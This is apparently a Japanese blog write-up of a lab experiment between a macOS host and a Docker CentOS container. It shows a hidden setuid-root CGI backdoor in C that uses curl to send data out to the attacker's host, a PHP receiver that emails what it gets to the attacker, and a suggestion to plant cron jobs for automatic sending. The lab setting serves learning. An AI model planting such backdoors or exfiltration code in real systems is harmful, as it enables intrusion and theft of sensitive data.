ホスト-コンテナ間でバックドア設置の簡単実験

概要

練習がてらで、ホストと docker によって構築したコンテナとの間で、簡単なバックドアの設置、および情報送信の簡単な実験を行う。

ホストとコンテナの概要

ホスト : macOS Catalina 10.15.7(攻撃者の環境) コンテナ : CentOS8(攻撃対象の環境)

シナリオ

  1. 攻撃者が何かしらの手段で、攻撃対象の環境に侵入成功、バックドアを設置した。
  2. バックドアでは、setuid(0) にし、root 権限で実行される(重要な機微情報を不正取得など)。
  3. バックドアは自ら、不正取得した機微情報を攻撃者の環境に情報送信。
  4. 攻撃者の環境では、バックドアから受信したら、自動的に攻撃者にメール送信。

使う技術の整理

コンテナからホストへの通信

$ curl http://host.docker.internal:[port]

説明:「http://host.docker.internal:」部分は固定で、[port]は、ホスト側の受信ポート。

なお、コンテナから自身への通信する場合は、

$ curl  http://[コンテナID]:[コンテナ側port]

例えば、私の macOC 上に構築したコンテナの場合は、以下のようになっている

$ docker ps -a
CONTAINER ID   IMAGE            COMMAND        CREATED        STATUS        PORTS                  NAMES
af6b538f8bee   centos:centos8   "/sbin/init"   5 months ago   Up 10 hours   0.0.0.0:80->8080/tcp   centos8

ため、次のように、コンテナから自身の 8080 ポートにアクセスできる

$ curl http://af6b538f8bee:8080
<html>
<body>
Hello, World!
</body>
</html>

同じ結果を、ホストから次のようにアクセスして取得できる

$ curl http://localhost[:80]
<html>
<body>
Hello, World!
</body>
</html>

なぜならば、ホストとコンテナ間は、「ホスト側のポート番号 -> コンテナ内のポート番号」には、以下のようになっている、つまり

0.0.0.0:80->8080/tcp 

ホストから 80 ポートへのアクセスをコンテナの 8080 ポートにマッピングする意味。

実験の詳細

バックドアの設置

攻撃対象の環境に web server が起動され、cgi プログラムが利用可能と仮定する。また、攻撃者が以前不正侵入した時に、以下のような cgi プログラムを設置したと仮定する。

$ ls -la /usr/share/nginx/cgi-bin/.exploit
-rwsr-xr-x 1 root root 12856  4月 11 00:26 /usr/share/nginx/cgi-bin/.exploit

上から、.exploit の cgi プログラムの以下のことが見て分かる

  • 所有者が root
  • 実行する際に、所有者 root の権限で実行することが可能になる(rwsr-xr-x)

上記 .exploit プログラムのソースコード(実験のため、簡易的ものになっている)

vim /usr/share/nginx/cgi-bin/.exploit.c

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

int main() {
    setuid(0);
    char buf[1024]; // 実験のため、簡易的に
    // root権限で何かしら重要な機微情報を不正取得
    char *info = "This%20is%20very%20sensitive%20personal%20informations";
    snprintf(buf, 1024, "curl http://host.docker.internal:[port]/[受信プログラム]?msg=%s", info);
    system(buf);
}

※buf に入れる文字列は一部加工している(実際のプログラムとは異なる)
※port : ホスト側で httpd の待受(LISTEN)ポート番号

バックドアからの情報送信

攻撃者の環境(ホスト)から、攻撃対象の環境(コンテナ)にあるバックドアにアクセス(遠隔操作)する

$ curl http://localhost[:80]/cgi-bin/.exploit

この例は、ホスト側からのキックでバックドアに情報送信させるが、攻撃対象の環境の外から内への通信 が遮断されることを想定し、攻撃者は予めバックドアから自動送信できるよう、root ユーザで at や crontab などで定期ジョブを仕込んで、コンテナ内で cgi プログラムを実施し、ホストに情報送信する可能性も考えられる。

攻撃者への自動メール送信

バックドアからの情報受信ができたら、後は攻撃者が好きのようにできる。今回の実験では、攻撃者に自動メール送信することにした。以下が情報受信と自動メール送信を一緒にしたプログラムの例。

実験のため、文字列のエンコード等の処理は省いている。

$ cat blackhole.php
<?php
    $msg = "待機中";
    if (isset($_REQUEST['msg'])) {
        $msg = $_REQUEST['msg'];
    }

    // send mail
    mb_language("Japanese");
    mb_internal_encoding("UTF-8");

    $to = "xxxxx@yyyyy.com";  <= ダミーデータ
    $title = "情報あり!";
    $message = "[$msg]";
    $headers = "From: backdoor@centos8";

    if (mb_send_mail($to, $title, $message, $headers)) {
        echo "Send mail succeed";
    } else {
        echo "Send mail failed";
    }
?>

実験の結果

シナリオ通りに、攻撃対象の環境(コンテナ)から情報が送信され、攻撃者の環境(ホスト)が受信し、攻撃者の元にメールが自動送信される実験結果が確認できた。

以上。

特別感謝